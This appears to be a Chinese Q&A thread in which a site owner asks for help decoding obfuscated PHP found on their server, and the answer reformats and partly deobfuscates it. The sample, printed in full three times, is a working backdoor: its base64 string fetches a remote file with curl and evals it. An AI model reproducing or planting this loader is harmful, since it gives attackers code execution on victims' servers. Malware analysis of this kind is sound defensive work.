需要帮助对此进行解码。在我的网站的主目录中找到了这段代码

问题描述 投票:0回答:1

需要帮助对此进行解码

<?php $vcbf840= "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";function yprr503($ccun221,$ipue244,$tgju488){return ''.$ccun221.''.$ipue244.''.$tgju488.'';}$xjow903 = yprr503($vcbf840{58},$vcbf840{69}.$vcbf840{36},$vcbf840{36});$zjcn038 = yprr503($vcbf840{20}.$vcbf840{8},$vcbf840{57}.$vcbf840{0},'');$llof213 = yprr503($vcbf840{27},$vcbf840{20},$vcbf840{39});$nogd067 = yprr503($vcbf840{8},'',$vcbf840{11});$fsps364 = yprr503($vcbf840{58},$vcbf840{20},$vcbf840{69}.$vcbf840{27});$kjhe036 = yprr503($vcbf840{27},$vcbf840{69},$vcbf840{25});$smyo112 =yprr503(yprr503($xjow903,'',$zjcn038),yprr503($llof213,$nogd067,''),yprr503($fsps364,'',$kjhe036));$gopp378 = yprr503($vcbf840{58},$vcbf840{27},$vcbf840{0});$oont490 = yprr503($vcbf840{69},$vcbf840{38},'');$lllq180 = yprr503($vcbf840{0},'',$vcbf840{20});$ecnr938 = yprr503($vcbf840{39},$vcbf840{8},$vcbf840{11});$ffdi480 = yprr503($vcbf840{58},$vcbf840{38},'');$dxkt204 = yprr503($vcbf840{61},$vcbf840{10},'');$icbz544 = yprr503('',$vcbf840{11},'');$uohg939 = yprr503( yprr503($gopp378,$oont490,$lllq180), yprr503($ecnr938,'',$ffdi480), yprr503($dxkt204,'',$icbz544));$idgk110 = yprr503($vcbf840{0},'',$vcbf840{3});$opvu721= yprr503($vcbf840{69},$vcbf840{36},$vcbf840{9});$mtbg524 = yprr503('',$vcbf840{49},$vcbf840{69});$yxfs212 = yprr503($vcbf840{57},$vcbf840{0},$vcbf840{7});$vesg899 = yprr503($vcbf840{16},$vcbf840{20},$vcbf840{70});$ehjl604 = yprr503($vcbf840{0},$vcbf840{58},$vcbf840{10});$bxlr460 = yprr503($vcbf840{70},$vcbf840{0},$vcbf840{9});$jyhp869 = yprr503(yprr503($idgk110,$opvu721,''),yprr503('','',$mtbg524),yprr503($yxfs212,$vesg899.$ehjl604,$bxlr460))."'JGNoID0gY3VybF9pbml0KCdodHRwOi8vZG9tYWlubmFtZXNwYWNlLnRvcC9sZi50eHQnKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtldmFsKCc/PicuJHJlc3VsdCk7'".yprr503($vcbf840{32}.$vcbf840{32},'',$vcbf840{46});$smyo112($uohg939,array('','}'.$jyhp869.'//'));?>
decode malware
1个回答
0
投票

阶段1:

<?php $vcbf840= "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";function yprr503($ccun221,$ipue244,$tgju488){return ''.$ccun221.''.$ipue244.''.$tgju488.'';}$xjow903 = yprr503($vcbf840{58},$vcbf840{69}.$vcbf840{36},$vcbf840{36});$zjcn038 = yprr503($vcbf840{20}.$vcbf840{8},$vcbf840{57}.$vcbf840{0},'');$llof213 = yprr503($vcbf840{27},$vcbf840{20},$vcbf840{39});$nogd067 = yprr503($vcbf840{8},'',$vcbf840{11});$fsps364 = yprr503($vcbf840{58},$vcbf840{20},$vcbf840{69}.$vcbf840{27});$kjhe036 = yprr503($vcbf840{27},$vcbf840{69},$vcbf840{25});$smyo112 =yprr503(yprr503($xjow903,'',$zjcn038),yprr503($llof213,$nogd067,''),yprr503($fsps364,'',$kjhe036));$gopp378 = yprr503($vcbf840{58},$vcbf840{27},$vcbf840{0});$oont490 = yprr503($vcbf840{69},$vcbf840{38},'');$lllq180 = yprr503($vcbf840{0},'',$vcbf840{20});$ecnr938 = yprr503($vcbf840{39},$vcbf840{8},$vcbf840{11});$ffdi480 = yprr503($vcbf840{58},$vcbf840{38},'');$dxkt204 = yprr503($vcbf840{61},$vcbf840{10},'');$icbz544 = yprr503('',$vcbf840{11},'');$uohg939 = yprr503( yprr503($gopp378,$oont490,$lllq180), yprr503($ecnr938,'',$ffdi480), yprr503($dxkt204,'',$icbz544));$idgk110 = yprr503($vcbf840{0},'',$vcbf840{3});$opvu721= yprr503($vcbf840{69},$vcbf840{36},$vcbf840{9});$mtbg524 = yprr503('',$vcbf840{49},$vcbf840{69});$yxfs212 = yprr503($vcbf840{57},$vcbf840{0},$vcbf840{7});$vesg899 = yprr503($vcbf840{16},$vcbf840{20},$vcbf840{70});$ehjl604 = yprr503($vcbf840{0},$vcbf840{58},$vcbf840{10});$bxlr460 = yprr503($vcbf840{70},$vcbf840{0},$vcbf840{9});$jyhp869 = yprr503(yprr503($idgk110,$opvu721,''),yprr503('','',$mtbg524),yprr503($yxfs212,$vesg899.$ehjl604,$bxlr460))."'JGNoID0gY3VybF9pbml0KCdodHRwOi8vZG9tYWlubmFtZXNwYWNlLnRvcC9sZi50eHQnKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtldmFsKCc/PicuJHJlc3VsdCk7'".yprr503($vcbf840{32}.$vcbf840{32},'',$vcbf840{46});$smyo112($uohg939,array('','}'.$jyhp869.'//'));?>

第二阶段(美化并重命名):

<?php $mal_string = "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";
function fun1($param1, $param2, $param3)
{
    return '' . $param1 . '' . $param2 . '' . $param3 . '';
}
$xjow903 = fun1($mal_string{58}, $mal_string{69} . $mal_string{36}, $mal_string{36});
$zjcn038 = fun1($mal_string{20} . $mal_string{8}, $mal_string{57} . $mal_string{0}, '');
$llof213 = fun1($mal_string{27}, $mal_string{20}, $mal_string{39});
$nogd067 = fun1($mal_string{8}, '', $mal_string{11});
$fsps364 = fun1($mal_string{58}, $mal_string{20}, $mal_string{69} . $mal_string{27});
$kjhe036 = fun1($mal_string{27}, $mal_string{69}, $mal_string{25});

$smyo112 = fun1(fun1($xjow903, '', $zjcn038) , fun1($llof213, $nogd067, '') , fun1($fsps364, '', $kjhe036));
$gopp378 = fun1($mal_string{58}, $mal_string{27}, $mal_string{0});
$oont490 = fun1($mal_string{69}, $mal_string{38}, '');
$lllq180 = fun1($mal_string{0}, '', $mal_string{20});
$ecnr938 = fun1($mal_string{39}, $mal_string{8}, $mal_string{11});
$ffdi480 = fun1($mal_string{58}, $mal_string{38}, '');
$dxkt204 = fun1($mal_string{61}, $mal_string{10}, '');

$icbz544 = fun1('', $mal_string{11}, '');
$uohg939 = fun1(fun1($gopp378, $oont490, $lllq180) , fun1($ecnr938, '', $ffdi480) , fun1($dxkt204, '', $icbz544));
$idgk110 = fun1($mal_string{0}, '', $mal_string{3});
$opvu721 = fun1($mal_string{69}, $mal_string{36}, $mal_string{9});
$mtbg524 = fun1('', $mal_string{49}, $mal_string{69});
$yxfs212 = fun1($mal_string{57}, $mal_string{0}, $mal_string{7});
$vesg899 = fun1($mal_string{16}, $mal_string{20}, $mal_string{70});
$ehjl604 = fun1($mal_string{0}, $mal_string{58}, $mal_string{10});
$bxlr460 = fun1($mal_string{70}, $mal_string{0}, $mal_string{9});
$jyhp869 = fun1(fun1($idgk110, $opvu721, '') , fun1('', '', $mtbg524) , fun1($yxfs212, $vesg899 . $ehjl604, $bxlr460)) . "'JGNoID0gY3VybF9pbml0KCdodHRwOi8vZG9tYWlubmFtZXNwYWNlLnRvcC9sZi50eHQnKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtldmFsKCc/PicuJHJlc3VsdCk7'" . fun1($mal_string{32} . $mal_string{32}, '', $mal_string{46});
$smyo112($uohg939, array(
    '',
    '}' . $jyhp869 . '//'
)); ?>

阶段3(根据mal_string内容替换字符串):

<?php $mal_string = "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";
function fun1($param1, $param2, $param3)
{
    return '' . $param1 . '' . $param2 . '' . $param3 . '';
}
$xjow903 = fun1(c, a . l, l);
$zjcn038 = fun1(_ . u, s . e, '');
$llof213 = fun1(r, _, f);
$nogd067 = fun1(u, '', n);
$fsps364 = fun1(c, _, a . r);
$kjhe036 = fun1(r, a, y);

$smyo112 = fun1(fun1($xjow903, '', $zjcn038) , fun1($llof213, $nogd067, '') , fun1($fsps364, '', $kjhe036));
$gopp378 = fun1(c, r, e);
$oont490 = fun1(a, n, '');
$lllq180 = fun1(e, '', _);
$ecnr938 = fun1(f, u, n);
$ffdi480 = fun1(c, n, '');
$dxkt204 = fun1(i, o, '');

$icbz544 = fun1('', n, '');
$uohg939 = fun1(fun1($gopp378, $oont490, $lllq180) , fun1($ecnr938, '', $ffdi480) , fun1($dxkt204, '', $icbz544));
$idgk110 = fun1(e, '', v);
$opvu721 = fun1(a, l, ();
$mtbg524 = fun1('', b, a);
$yxfs212 = fun1(s, e, 6);
$vesg899 = fun1(4, _, d);
$ehjl604 = fun1(e, c, o);
$bxlr460 = fun1(d, e, ();
$jyhp869 = fun1(fun1($idgk110, $opvu721, '') , fun1('', '', $mtbg524) , fun1($yxfs212, $vesg899 . $ehjl604, $bxlr460)) . "'JGNoID0gY3VybF9pbml0KCdodHRwOi8vZG9tYWlubmFtZXNwYWNlLnRvcC9sZi50eHQnKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtldmFsKCc/PicuJHJlc3VsdCk7'" . fun1($mal_string{32} . $mal_string{32}, '', $mal_string{46});
$smyo112($uohg939, array(
    '',
    '}' . $jyhp869 . '//'
)); ?>
© www.soinside.com 2019 - 2024. All rights reserved.